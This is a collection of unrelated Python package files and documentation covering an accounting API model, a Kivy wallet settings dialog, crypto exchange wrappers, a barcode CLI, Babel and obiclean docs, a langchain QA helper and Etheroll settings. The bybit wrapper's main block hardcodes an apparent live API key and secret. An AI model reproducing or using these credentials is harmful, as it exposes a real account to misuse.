description (str, none_type): The line's description.. [optional] # noqa: E501 """ _check_type = kwargs.pop('_check_type', True) _spec_property_naming = kwargs.pop('_spec_property_naming', True) _path_to_item = kwargs.pop('_path_to_item', ()) _configuration = kwargs.pop('_configuration', None) _visited_composed_classes = kwargs.pop('_visited_composed_classes', ()) self = super(OpenApiModel, cls).__new__(cls) if args: for arg in args: if isinstance(arg, dict): kwargs.update(arg) else: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) self.remote_id = kwargs.get("remote_id", None) self.account = kwargs.get("account", None) self.net_amount = kwargs.get("net_amount", None) self.tracking_category = kwargs.get("tracking_category", None) self.contact = kwargs.get("contact", None) self.description = kwargs.get("description", None) return self required_properties = set([ '_data_store', '_check_type', '_spec_property_naming', '_path_to_item', '_configuration', '_visited_composed_classes', ]) @convert_js_args_to_python_args def __init__(self, *args, **kwargs): # noqa: E501 """JournalLineRequest - a model defined in OpenAPI Keyword Args: _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. _visited_composed_classes (tuple): This stores a tuple of classes that we have traveled through so that if we see that class again we will not use its discriminator again. When traveling through a discriminator, the composed schema that is is traveled through is added to this set. For example if Animal has a discriminator petType and we pass in "Dog", and the class Dog allOf includes Animal, we move through Animal once using the discriminator, and pick Dog. Then in Dog, we will make an instance of the Animal class but this time we won't travel through its discriminator because we passed in _visited_composed_classes = (Animal,) remote_id (str, none_type): The third-party API ID of the matching object.. [optional] # noqa: E501 account (str, none_type): [optional] # noqa: E501 net_amount (float, none_type): The line's net amount.. [optional] # noqa: E501 tracking_category (str, none_type): [optional] # noqa: E501 contact (str, none_type): [optional] # noqa: E501 description (str, none_type): The line's description.. [optional] # noqa: E501 """ _check_type = kwargs.pop('_check_type', True) _spec_property_naming = kwargs.pop('_spec_property_naming', False) _path_to_item = kwargs.pop('_path_to_item', ()) _configuration = kwargs.pop('_configuration', None) _visited_composed_classes = kwargs.pop('_visited_composed_classes', ()) if args: for arg in args: if isinstance(arg, dict): kwargs.update(arg) else: raise ApiTypeError( "Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % ( args, self.__class__.__name__, ), path_to_item=_path_to_item, valid_classes=(self.__class__,), ) self._data_store = {} self._check_type = _check_type self._spec_property_naming = _spec_property_naming self._path_to_item = _path_to_item self._configuration = _configuration self._visited_composed_classes = _visited_composed_classes + (self.__class__,) self.remote_id: Union[str, none_type] = kwargs.get("remote_id", None) self.account: Union[str, none_type] = kwargs.get("account", None) self.net_amount: Union[float, none_type] = kwargs.get("net_amount", None) self.tracking_category: Union[str, none_type] = kwargs.get("tracking_category", None) self.contact: Union[str, none_type] = kwargs.get("contact", None) self.description: Union[str, none_type] = kwargs.get("description", None)
PypiClean
/Electrum-VTC-2.9.3.3.tar.gz/Electrum-VTC-2.9.3.3/gui/kivy/uix/dialogs/settings.py
from kivy.app import App from kivy.factory import Factory from kivy.properties import ObjectProperty from kivy.lang import Builder from electrum_vtc.util import base_units from electrum_vtc.i18n import languages from electrum_vtc_gui.kivy.i18n import _ from electrum_vtc.plugins import run_hook from electrum_vtc import coinchooser from electrum_vtc.util import fee_levels from choice_dialog import ChoiceDialog Builder.load_string(''' #:import partial functools.partial #:import _ electrum_vtc_gui.kivy.i18n._ <SettingsDialog@Popup> id: settings title: _('Electrum Settings') disable_pin: False use_encryption: False BoxLayout: orientation: 'vertical' ScrollView: GridLayout: id: scrollviewlayout cols:1 size_hint: 1, None height: self.minimum_height padding: '10dp' SettingsItem: lang: settings.get_language_name() title: 'Language' + ': ' + str(self.lang) description: _('Language') action: partial(root.language_dialog, self) CardSeparator SettingsItem: status: '' if root.disable_pin else ('ON' if root.use_encryption else 'OFF') disabled: root.disable_pin title: _('PIN code') + ': ' + self.status description: _("Change your PIN code.") action: partial(root.change_password, self) CardSeparator SettingsItem: bu: app.base_unit title: _('Denomination') + ': ' + self.bu description: _("Base unit for Litecoin amounts.") action: partial(root.unit_dialog, self) CardSeparator SettingsItem: status: root.fee_status() title: _('Fees') + ': ' + self.status description: _("Fees paid to the Litecoin miners.") action: partial(root.fee_dialog, self) CardSeparator SettingsItem: status: root.fx_status() title: _('Fiat Currency') + ': ' + self.status description: _("Display amounts in fiat currency.") action: partial(root.fx_dialog, self) CardSeparator SettingsItem: status: 'ON' if bool(app.plugins.get('labels')) else 'OFF' title: _('Labels Sync') + ': ' + self.status description: _("Save and synchronize your labels.") action: partial(root.plugin_dialog, 'labels', self) CardSeparator SettingsItem: status: 'ON' if app.use_rbf else 'OFF' title: _('Replace-by-fee') + ': ' + self.status description: _("Create replaceable transactions.") message: _('If you check this box, your transactions will be marked as non-final,') \ + ' ' + _('and you will have the possiblity, while they are unconfirmed, to replace them with transactions that pays higher fees.') \ + ' ' + _('Note that some merchants do not accept non-final transactions until they are confirmed.') action: partial(root.boolean_dialog, 'use_rbf', _('Replace by fee'), self.message) CardSeparator SettingsItem: status: _('Yes') if app.use_unconfirmed else _('No') title: _('Spend unconfirmed') + ': ' + self.status description: _("Use unconfirmed coins in transactions.") message: _('Spend unconfirmed coins') action: partial(root.boolean_dialog, 'use_unconfirmed', _('Use unconfirmed'), self.message) CardSeparator SettingsItem: status: _('Yes') if app.use_change else _('No') title: _('Use change addresses') + ': ' + self.status description: _("Send your change to separate addresses.") message: _('Send excess coins to change addresses') action: partial(root.boolean_dialog, 'use_change', _('Use change addresses'), self.message) CardSeparator SettingsItem: status: root.coinselect_status() title: _('Coin selection') + ': ' + self.status description: "Coin selection method" action: partial(root.coinselect_dialog, self) ''') class SettingsDialog(Factory.Popup): def __init__(self, app): self.app = app self.plugins = self.app.plugins self.config = self.app.electrum_config Factory.Popup.__init__(self) layout = self.ids.scrollviewlayout layout.bind(minimum_height=layout.setter('height')) # cached dialogs self._fx_dialog = None self._fee_dialog = None self._proxy_dialog = None self._language_dialog = None self._unit_dialog = None self._coinselect_dialog = None def update(self): self.wallet = self.app.wallet self.disable_pin = self.wallet.is_watching_only() if self.wallet else True self.use_encryption = self.wallet.has_password() if self.wallet else False def get_language_name(self): return languages.get(self.config.get('language', 'en_UK'), '') def change_password(self, item, dt): self.app.change_password(self.update) def language_dialog(self, item, dt): if self._language_dialog is None: l = self.config.get('language', 'en_UK') def cb(key): self.config.set_key("language", key, True) item.lang = self.get_language_name() self.app.language = key self._language_dialog = ChoiceDialog(_('Language'), languages, l, cb) self._language_dialog.open() def unit_dialog(self, item, dt): if self._unit_dialog is None: def cb(text): self.app._set_bu(text) item.bu = self.app.base_unit self._unit_dialog = ChoiceDialog(_('Denomination'), base_units.keys(), self.app.base_unit, cb) self._unit_dialog.open() def coinselect_status(self): return coinchooser.get_name(self.app.electrum_config) def coinselect_dialog(self, item, dt): if self._coinselect_dialog is None: choosers = sorted(coinchooser.COIN_CHOOSERS.keys()) chooser_name = coinchooser.get_name(self.config) def cb(text): self.config.set_key('coin_chooser', text) item.status = text self._coinselect_dialog = ChoiceDialog(_('Coin selection'), choosers, chooser_name, cb) self._coinselect_dialog.open() def proxy_status(self): server, port, protocol, proxy, auto_connect = self.app.network.get_parameters() return proxy.get('host') +':' + proxy.get('port') if proxy else _('None') def proxy_dialog(self, item, dt): if self._proxy_dialog is None: server, port, protocol, proxy, auto_connect = self.app.network.get_parameters() def callback(popup): if popup.ids.mode.text != 'None': proxy = { 'mode':popup.ids.mode.text, 'host':popup.ids.host.text, 'port':popup.ids.port.text, 'user':popup.ids.user.text, 'password':popup.ids.password.text } else: proxy = None self.app.network.set_parameters(server, port, protocol, proxy, auto_connect) item.status = self.proxy_status() popup = Builder.load_file('gui/kivy/uix/ui_screens/proxy.kv') popup.ids.mode.text = proxy.get('mode') if proxy else 'None' popup.ids.host.text = proxy.get('host') if proxy else '' popup.ids.port.text = proxy.get('port') if proxy else '' popup.ids.user.text = proxy.get('user') if proxy else '' popup.ids.password.text = proxy.get('password') if proxy else '' popup.on_dismiss = lambda: callback(popup) self._proxy_dialog = popup self._proxy_dialog.open() def plugin_dialog(self, name, label, dt): from checkbox_dialog import CheckBoxDialog def callback(status): self.plugins.enable(name) if status else self.plugins.disable(name) label.status = 'ON' if status else 'OFF' status = bool(self.plugins.get(name)) dd = self.plugins.descriptions.get(name) descr = dd.get('description') fullname = dd.get('fullname') d = CheckBoxDialog(fullname, descr, status, callback) d.open() def fee_status(self): if self.config.get('dynamic_fees', True): return fee_levels[self.config.get('fee_level', 2)] else: return self.app.format_amount_and_units(self.config.fee_per_kb()) + '/kB' def fee_dialog(self, label, dt): if self._fee_dialog is None: from fee_dialog import FeeDialog def cb(): label.status = self.fee_status() self._fee_dialog = FeeDialog(self.app, self.config, cb) self._fee_dialog.open() def boolean_dialog(self, name, title, message, dt): from checkbox_dialog import CheckBoxDialog CheckBoxDialog(title, message, getattr(self.app, name), lambda x: setattr(self.app, name, x)).open() def fx_status(self): fx = self.app.fx if fx.is_enabled(): source = fx.exchange.name() ccy = fx.get_currency() return '%s [%s]' %(ccy, source) else: return _('None') def fx_dialog(self, label, dt): if self._fx_dialog is None: from fx_dialog import FxDialog def cb(): label.status = self.fx_status() self._fx_dialog = FxDialog(self.app, self.plugins, self.config, cb) self._fx_dialog.open()
PypiClean
/Abstract_Exchange-0.0.2.tar.gz/Abstract_Exchange-0.0.2/Abstract_Exchange/Exchanges.py
from time import mktime, sleep from .CustomExchange import CustomExchange from datetime import datetime # from kucoin.client import from ccxt.hitbtc import hitbtc as BaseHitbtc from ccxt.kucoin import kucoin as BaseKucoin from ccxt.bybit import bybit as BaseBybit from pybit import usdt_perpetual from concurrent.futures import ThreadPoolExecutor class hitbtc(CustomExchange, BaseHitbtc): def __init__(self, config={}): super().__init__(config=config) def check_withdrawal(self, code): """ releated to child """ return self.currencies[code]['payout'] def check_deposit(self, code): """ releated to child """ return self.currencies[code]['payin'] class kucoin(CustomExchange, BaseKucoin): def __init__(self, config={}): super().__init__(config=config) # self.trade = Trade(self.apiKey, self.secret, self.password) # self.user = User(self.apiKey, self.secret, self.password) def check_withdrawal(self, code): """ releated to child """ return self.currencies[code]['info']['isWithdrawEnabled'] def check_deposit(self, code): """ releated to child """ return self.currencies[code]['info']['isDepositEnabled'] class bybit(CustomExchange, BaseBybit): def __init__(self, config={}): super().__init__(config=config) self.pybit = usdt_perpetual.HTTP( endpoint='https://api.bybit.com', api_key=self.apiKey, api_secret=self.secret) def is_in_position_size(self, symbol, side=None): # check positions = self.pybit.my_position(symbol=symbol)['result'] for pos in positions: if pos['size'] > 0 and (side == None or pos['side'] == side): return True return False def in_position_size(self, symbol): positions = self.pybit.my_position(symbol=symbol)['result'] data = [] for pos in positions: if pos['size'] > 0: data.append(pos) return data def in_position_size_orders(self, order_ids, symbols): orders = self.get_active_order_bulk(symbols, order_ids, order_status="Filled,PartiallyFilled") # sleep(.1) user_trade_records = self.user_trade_records_bulk(symbols=symbols, order_ids=order_ids) data = [] for order in orders: in_position = 1 for user_trade_record in user_trade_records: if order["order_id"] == user_trade_record["order_id"] and user_trade_record["closed_size"] == order["qty"]: in_position = 0 break if in_position == 1: data.append(order) return data def in_position_size_bulk(self, symbols: list, max_in_parallel=40): # chekc with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: data = [] executions = [ executor.submit( self.in_position_size, **{"symbol": symbol} ) for symbol in symbols ] executor.shutdown() for execution in executions: data += execution.result() return data def is_in_active_order(self, symbol): active_orders = self.pybit.query_active_order(symbol=symbol)['result'] if not(active_orders): return False return True def get_custom_leverage(self, symbol, side="Both"): data = self.pybit.my_position(symbol=symbol)['result'] if side != "Both": for i in data: if i['side'] == side: return i['leverage'] else: return {"buy_leverage": data[0]["leverage"], "sell_leverage": data[1]["leverage"]} def set_custom_leverage(self, symbol, buy_leverage=None, sell_leverage=None): last_leverage = self.get_leverage(symbol=symbol, side="Both") buy_leverage = last_leverage["buy_leverage"] if buy_leverage == None else buy_leverage sell_leverage = last_leverage["sell_leverage"] if sell_leverage == None else sell_leverage self.pybit.set_leverage( symbol=symbol, buy_leverage=buy_leverage, sell_leverage=sell_leverage) def fetch_custom_free_balance(self, currency): return self.pybit.get_wallet_balance(coin=currency)['result'][currency]['available_balance'] def get_active_order_bulk_one_page(self, symbols: list, page=1, limit=50, order_status="Created,Rejected,New,PartiallyFilled,Filled,Cancelled,PendingCancel", max_in_parallel=10): data = [] with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.pybit.get_active_order, **{"symbol": symbol, "order_status": order_status, "limit": limit, "page": page} ) for symbol in symbols ] executor.shutdown() for execution in executions: res = execution.result()["result"]["data"] if res != None: data += res return data def get_active_order_bulk(self, symbols: list, order_ids=[], order_status="Created,Rejected,New,PartiallyFilled,Filled,Cancelled,PendingCancel", max_in_parallel=10): data = [] for page in range(1, 51): res = self.get_active_order_bulk_one_page( symbols=symbols, page=page, order_status=order_status, max_in_parallel=max_in_parallel) if not(res): break else: data += res if order_ids: data2 = [] for order in data: if order["order_id"] in order_ids: data2.append(order) return data2 else: return data def closed_profit_and_loss_bulk_one_page(self, symbols: list, page=1, limit=50, start_time=0, end_time=mktime(datetime.timetuple( datetime.now())), max_in_parallel=40): data = [] with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.pybit.closed_profit_and_loss, **{"symbol": symbol, "start_time": start_time, "end_time": end_time, "limit": limit, "page": page} ) for symbol in symbols ] executor.shutdown() for execution in executions: res = execution.result()["result"]["data"] if res != None: data += res return data def closed_profit_and_loss_bulk(self, symbols: list, order_ids=[], start_time=0, end_time=mktime(datetime.timetuple( datetime.now())), max_in_parallel=40): data = [] for page in range(1, 51): res = self.closed_profit_and_loss_bulk_one_page( symbols=symbols, page=page, start_time=start_time, end_time=end_time, max_in_parallel=max_in_parallel) if not(res): break else: data += res if order_ids: data2 = [] for order in data: if order["order_id"] in order_ids: data2.append(order) return data2 else: return data def user_trade_records_bulk_one_page(self, symbols: list, page=1, limit=200, start_time=0, end_time=mktime(datetime.timetuple( datetime.now())), max_in_parallel=40): data = [] with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.pybit.user_trade_records, **{"symbol": symbol, "start_time": start_time, "end_time": end_time, "limit": limit, "page": page} ) for symbol in symbols ] executor.shutdown() for execution in executions: res = execution.result()["result"]["data"] if res != None: data += res return data def user_trade_records_bulk(self, symbols: list, order_ids=[], start_time=0, end_time=mktime(datetime.timetuple( datetime.now())), max_in_parallel=40): data = [] for page in range(1, 51): res = self.user_trade_records_bulk_one_page( symbols=symbols, page=page, start_time=start_time, end_time=end_time, max_in_parallel=max_in_parallel) if not(res): break else: data += res if order_ids: data2 = [] for order in data: if order["order_id"] in order_ids: data2.append(order) return data2 else: return data if __name__ == '__main__': a = bybit({'apiKey': 'CSxcH3KzjGJqUrpwXe', 'secret': 'iGLSmVrfhbDXMyICTc7TnVnfiYHqJpOKN2Mk'}) print(a.pybit.my_position("DOGEUSDT"))
PypiClean
/LDB_Inventory_Barcode-0.14.1.tar.gz/LDB_Inventory_Barcode-0.14.1/ldb/inventory/barcode/pybarcode.py
import os from argparse import ArgumentParser import ldb.inventory.barcode from ldb.inventory.barcode.version import version from ldb.inventory.barcode.writer import ImageWriter from ldb.inventory.barcode.writer import SVGWriter IMG_FORMATS = ("BMP", "GIF", "JPEG", "MSP", "PCX", "PNG", "TIFF", "XBM") def list_types(args, parser=None): print("\npython-barcode available barcode formats:") print(", ".join(ldb.inventory.barcode.PROVIDED_BARCODES)) print("\n") print("Available image formats") print("Standard: svg") if ImageWriter is not None: print("Pillow:", ", ".join(IMG_FORMATS)) else: print("Pillow: disabled") print("\n") def create_barcode(args, parser): args.type = args.type.upper() if args.type != "SVG" and args.type not in IMG_FORMATS: parser.error( "Unknown type {type}. Try list action for available types.".format( type=args.type ) ) args.barcode = args.barcode.lower() if args.barcode not in ldb.inventory.barcode.PROVIDED_BARCODES: parser.error( "Unknown barcode {bc}. Try list action for available barcodes.".format( bc=args.barcode ) ) if args.type != "SVG": opts = {"format": args.type} writer = ImageWriter() else: opts = {"compress": args.compress} writer = SVGWriter() out = os.path.normpath(os.path.abspath(args.output)) name = ldb.inventory.barcode.generate(args.barcode, args.code, writer, out, opts, args.text) print("New barcode saved as {}.".format(name)) def main(): msg = [] if ImageWriter is None: msg.append("Image output disabled (Pillow not found), --type option disabled.") else: msg.append( "Image output enabled, use --type option to give image " "format (png, jpeg, ...)." ) parser = ArgumentParser( description="Create standard barcodes via cli.", epilog=" ".join(msg) ) parser.add_argument( "-v", "--version", action="version", version="%(prog)s " + version ) subparsers = parser.add_subparsers(title="Actions") create_parser = subparsers.add_parser( "create", help="Create a barcode with the given options." ) create_parser.add_argument("code", help="Code to render as barcode.") create_parser.add_argument( "output", help="Filename for output without extension, e. g. mybarcode." ) create_parser.add_argument( "-c", "--compress", action="store_true", help="Compress output, only recognized if type is svg.", ) create_parser.add_argument( "-b", "--barcode", help="Barcode to use [default: %(default)s]." ) create_parser.add_argument("--text", help="Text to show under the barcode.") if ImageWriter is not None: create_parser.add_argument( "-t", "--type", help="Type of output [default: %(default)s]." ) list_parser = subparsers.add_parser( "list", help="List available image and code types." ) list_parser.set_defaults(func=list_types) create_parser.set_defaults( type="svg", compress=False, func=create_barcode, barcode="code39", text=None ) args = parser.parse_args() try: func = args.func except AttributeError: parser.error("You need to tell me what to do.") else: func(args, parser) if __name__ == "__main__": main()
PypiClean
/OBITools-1.2.13.tar.gz/OBITools-1.2.13/doc/sphinx/source/scripts/obiclean.rst
.. automodule:: obiclean :py:mod:`obiclean` specific options ----------------------------------- .. cmdoption:: -d <INTEGER>, --distance=<INTEGER> Maximum numbers of differences between two variant sequences (default: 1). .. cmdoption:: -s <KEY>, --sample=<KEY> Attribute containing sample descriptions. .. cmdoption:: -r <FLOAT>, --ratio=<FLOAT> Threshold ratio between counts (rare/abundant counts) of two sequence records so that the less abundant one is a variant of the more abundant (default: 1, i.e. all less abundant sequences are variants). .. cmdoption:: -C, --cluster Switch :py:mod:`obiclean` into its clustering mode. This adds information to each sequence about the true. .. cmdoption:: -H, --head Select only sequences with the head status in a least one sample. .. cmdoption:: -g, --graph Creates a file containing the set of DAG used by the obiclean clustering algorithm. The graph file follows the `dot` format .. include:: ../optionsSet/inputformat.txt .. include:: ../optionsSet/outputformat.txt .. include:: ../optionsSet/defaultoptions.txt :py:mod:`obiclean` used sequence attributes ----------------------------------------------- .. hlist:: :columns: 3 - :doc:`count <../attributes/count>` :py:mod:`obiclean` added sequence attributes ----------------------------------------------- .. hlist:: :columns: 3 - :doc:`obiclean_cluster <../attributes/obiclean_cluster>` - :doc:`obiclean_count <../attributes/obiclean_count>` - :doc:`obiclean_head <../attributes/obiclean_head>` - :doc:`obiclean_headcount <../attributes/obiclean_headcount>` - :doc:`obiclean_internalcount <../attributes/obiclean_internalcount>` - :doc:`obiclean_samplecount <../attributes/obiclean_samplecount>` - :doc:`obiclean_singletoncount <../attributes/obiclean_singletoncount>` - :doc:`obiclean_status <../attributes/obiclean_status>`
PypiClean
/Babel-2.12.1.tar.gz/Babel-2.12.1/docs/cmdline.rst
.. -*- mode: rst; encoding: utf-8 -*- .. _cmdline: ====================== Command-Line Interface ====================== Babel includes a command-line interface for working with message catalogs, similar to the various GNU ``gettext`` tools commonly available on Linux/Unix systems. When properly installed, Babel provides a script called ``pybabel``:: $ pybabel --help Usage: pybabel command [options] [args] Options: --version show program's version number and exit -h, --help show this help message and exit --list-locales print all known locales and exit -v, --verbose print as much as possible -q, --quiet print as little as possible commands: compile compile message catalogs to MO files extract extract messages from source files and generate a POT file init create new message catalogs from a POT file update update existing message catalogs from a POT file The ``pybabel`` script provides a number of sub-commands that do the actual work. Those sub-commands are described below. compile ======= The ``compile`` sub-command can be used to compile translation catalogs into binary MO files:: $ pybabel compile --help Usage: pybabel compile [options] compile message catalogs to MO files Options: -h, --help show this help message and exit -D DOMAIN, --domain=DOMAIN domains of PO files (space separated list, default 'messages') -d DIRECTORY, --directory=DIRECTORY path to base directory containing the catalogs -i INPUT_FILE, --input-file=INPUT_FILE name of the input file -o OUTPUT_FILE, --output-file=OUTPUT_FILE name of the output file (default '<output_dir>/<locale>/LC_MESSAGES/<domain>.mo') -l LOCALE, --locale=LOCALE locale of the catalog to compile -f, --use-fuzzy also include fuzzy translations --statistics print statistics about translations If ``directory`` is specified, but ``output-file`` is not, the default filename of the output file will be:: <directory>/<locale>/LC_MESSAGES/<domain>.mo If neither the ``input_file`` nor the ``locale`` option is set, this command looks for all catalog files in the base directory that match the given domain, and compiles each of them to MO files in the same directory. extract ======= The ``extract`` sub-command can be used to extract localizable messages from a collection of source files:: $ pybabel extract --help Usage: pybabel extract [options] <input-paths> extract messages from source files and generate a POT file Options: -h, --help show this help message and exit --charset=CHARSET charset to use in the output file (default "utf-8") -k KEYWORDS, --keywords=KEYWORDS, --keyword=KEYWORDS space-separated list of keywords to look for in addition to the defaults (may be repeated multiple times) --no-default-keywords do not include the default keywords -F MAPPING_FILE, --mapping-file=MAPPING_FILE, --mapping=MAPPING_FILE path to the mapping configuration file --no-location do not include location comments with filename and line number --add-location=ADD_LOCATION location lines format. If it is not given or "full", it generates the lines with both file name and line number. If it is "file", the line number part is omitted. If it is "never", it completely suppresses the lines (same as --no-location). --omit-header do not include msgid "" entry in header -o OUTPUT_FILE, --output-file=OUTPUT_FILE, --output=OUTPUT_FILE name of the output file -w WIDTH, --width=WIDTH set output line width (default 76) --no-wrap do not break long message lines, longer than the output line width, into several lines --sort-output generate sorted output (default False) --sort-by-file sort output by file location (default False) --msgid-bugs-address=MSGID_BUGS_ADDRESS set report address for msgid --copyright-holder=COPYRIGHT_HOLDER set copyright holder in output --project=PROJECT set project name in output --version=VERSION set project version in output -c ADD_COMMENTS, --add-comments=ADD_COMMENTS place comment block with TAG (or those preceding keyword lines) in output file. Separate multiple TAGs with commas(,) -s, --strip-comments, --strip-comment-tags strip the comment TAGs from the comments. --input-dirs=INPUT_DIRS alias for input-paths (does allow files as well as directories). --ignore-dirs=IGNORE_DIRS Patterns for directories to ignore when scanning for messages. Separate multiple patterns with spaces (default ".* ._") --header-comment=HEADER_COMMENT header comment for the catalog init ==== The `init` sub-command creates a new translations catalog based on a PO template file:: $ pybabel init --help Usage: pybabel init [options] create new message catalogs from a POT file Options: -h, --help show this help message and exit -D DOMAIN, --domain=DOMAIN domain of PO file (default 'messages') -i INPUT_FILE, --input-file=INPUT_FILE name of the input file -d OUTPUT_DIR, --output-dir=OUTPUT_DIR path to output directory -o OUTPUT_FILE, --output-file=OUTPUT_FILE name of the output file (default '<output_dir>/<locale>/LC_MESSAGES/<domain>.po') -l LOCALE, --locale=LOCALE locale for the new localized catalog -w WIDTH, --width=WIDTH set output line width (default 76) --no-wrap do not break long message lines, longer than the output line width, into several lines update ====== The `update` sub-command updates an existing new translations catalog based on a PO template file:: $ pybabel update --help Usage: pybabel update [options] update existing message catalogs from a POT file Options: -h, --help show this help message and exit -D DOMAIN, --domain=DOMAIN domain of PO file (default 'messages') -i INPUT_FILE, --input-file=INPUT_FILE name of the input file -d OUTPUT_DIR, --output-dir=OUTPUT_DIR path to base directory containing the catalogs -o OUTPUT_FILE, --output-file=OUTPUT_FILE name of the output file (default '<output_dir>/<locale>/LC_MESSAGES/<domain>.po') --omit-header do not include msgid entry in header -l LOCALE, --locale=LOCALE locale of the catalog to compile -w WIDTH, --width=WIDTH set output line width (default 76) --no-wrap do not break long message lines, longer than the output line width, into several lines --ignore-obsolete whether to omit obsolete messages from the output --init-missing if any output files are missing, initialize them first -N, --no-fuzzy-matching do not use fuzzy matching --update-header-comment update target header comment --previous keep previous msgids of translated messages If ``output_dir`` is specified, but ``output-file`` is not, the default filename of the output file will be:: <directory>/<locale>/LC_MESSAGES/<domain>.mo If neither the ``output_file`` nor the ``locale`` option is set, this command looks for all catalog files in the base directory that match the given domain, and updates each of them.
PypiClean
/ChatExcel-2023.4.25.9.28.30.tar.gz/ChatExcel-2023.4.25.9.28.30/chatllm/qa.py
from langchain.chains import RetrievalQA from langchain.prompts.prompt import PromptTemplate from langchain.vectorstores import FAISS # ME from meutils.pipe import * from chatllm.chatllm import ChatLLM RetrievalQA.return_source_documents = True class QA(object): def __init__(self, chatllm: ChatLLM, faiss_ann: FAISS = None, document_prompt: PromptTemplate = None): """ :param chatllm: """ self.chatllm = chatllm self.faiss_ann = faiss_ann self.document_prompt = document_prompt if document_prompt else self.default_document_prompt @property def default_document_prompt(self) -> PromptTemplate: prompt_template = """ 基于以下已知信息,简洁和专业的来回答用户的问题。 如果无法从中得到答案,请说 "根据已知信息无法回答该问题" 或 "没有提供足够的相关信息",不允许在答案中添加编造成分,答案请使用中文。 已知内容: {context} 问题: {question} """.strip() return PromptTemplate(template=prompt_template, input_variables=["context", "question"]) def get_knowledge_based_answer(self, query, max_turns=3, top_k=4, **kwargs): assert self.faiss_ann # 设置chatllm参数,# history会被储存? self.chatllm.set_chat_kwargs(**kwargs) self.chatllm.max_turns = max_turns llm_chain = RetrievalQA.from_llm( llm=self.chatllm, retriever=self.faiss_ann.as_retriever(search_kwargs={"k": top_k}), # todo: 重复实例化优化 prompt=self.document_prompt ) # llm_chain.combine_documents_chain.document_prompt = PromptTemplate( # input_variables=["page_content"], template="{page_content}" # ) # 官方默认,要不要覆盖 # document_prompt = PromptTemplate( # input_variables=["page_content"], template="Context:\n{page_content}" # ) result = llm_chain({"query": query}) return result def get_llm_answer(self, query, max_turns=3, **kwargs): # 重复代码 self.chatllm.set_chat_kwargs(**kwargs) self.chatllm.max_turns = max_turns return self.chatllm._call(query)
PypiClean
/EtherollApp-2020.322-py3-none-any.whl/etherollapp/etheroll/settings.py
import os from kivy.app import App from kivy.utils import platform from pyetheroll.constants import DEFAULT_GAS_PRICE_GWEI, ChainID from etherollapp.etheroll.constants import KEYSTORE_DIR_SUFFIX from etherollapp.etheroll.store import Store NETWORK_SETTINGS = 'network' GAS_PRICE_SETTINGS = 'gas_price' PERSIST_KEYSTORE_SETTINGS = 'persist_keystore' class Settings: """Screen for configuring network, gas price...""" @classmethod def get_stored_network(cls): """Retrieves last stored network value, defaults to Mainnet.""" store = Store.get_store() try: network_dict = store[NETWORK_SETTINGS] except KeyError: network_dict = {} network_name = network_dict.get( 'value', ChainID.MAINNET.name) network = ChainID[network_name] return network @classmethod def set_stored_network(cls, network: ChainID): """Persists network settings.""" store = Store.get_store() store.put(NETWORK_SETTINGS, value=network.name) @classmethod def is_stored_mainnet(cls): network = cls.get_stored_network() return network == ChainID.MAINNET @classmethod def is_stored_testnet(cls): network = cls.get_stored_network() return network == ChainID.ROPSTEN @classmethod def get_stored_gas_price(cls): """ Retrieves stored gas price value, defaults to DEFAULT_GAS_PRICE_GWEI. """ store = Store.get_store() try: gas_price_dict = store[GAS_PRICE_SETTINGS] except KeyError: gas_price_dict = {} gas_price = gas_price_dict.get( 'value', DEFAULT_GAS_PRICE_GWEI) return gas_price @classmethod def set_stored_gas_price(cls, gas_price: int): """Persists gas price settings.""" store = Store.get_store() store.put(GAS_PRICE_SETTINGS, value=gas_price) @classmethod def is_persistent_keystore(cls): """ Retrieves the settings value regarding the keystore persistency. Defaults to False. """ store = Store.get_store() try: persist_keystore_dict = store[PERSIST_KEYSTORE_SETTINGS] except KeyError: persist_keystore_dict = {} persist_keystore = persist_keystore_dict.get( 'value', False) return persist_keystore @classmethod def set_is_persistent_keystore(cls, persist_keystore: bool): """Saves keystore persistency settings.""" store = Store.get_store() store.put(PERSIST_KEYSTORE_SETTINGS, value=persist_keystore) @staticmethod def get_persistent_keystore_path(): app = App.get_running_app() # TODO: hardcoded path, refs: # https://github.com/AndreMiras/EtherollApp/issues/145 return os.path.join('/sdcard', app.name) @staticmethod def get_non_persistent_keystore_path(): app = App.get_running_app() return app.user_data_dir @classmethod def _get_android_keystore_prefix(cls): """ Returns the Android keystore path prefix. The location differs based on the persistency user settings. """ if cls.is_persistent_keystore(): keystore_dir_prefix = cls.get_persistent_keystore_path() else: keystore_dir_prefix = cls.get_non_persistent_keystore_path() return keystore_dir_prefix @classmethod def get_keystore_path(cls): """ Returns the keystore directory path. This can be overriden by the `KEYSTORE_PATH` environment variable. """ keystore_path = os.environ.get('KEYSTORE_PATH') if keystore_path is not None: return keystore_path KEYSTORE_DIR_PREFIX = os.path.expanduser("~") if platform == "android": KEYSTORE_DIR_PREFIX = cls._get_android_keystore_prefix() keystore_path = os.path.join( KEYSTORE_DIR_PREFIX, KEYSTORE_DIR_SUFFIX) return keystore_path
PypiClean
/KPyGithub-1.32a1.tar.gz/KPyGithub-1.32a1/github/Tag.py
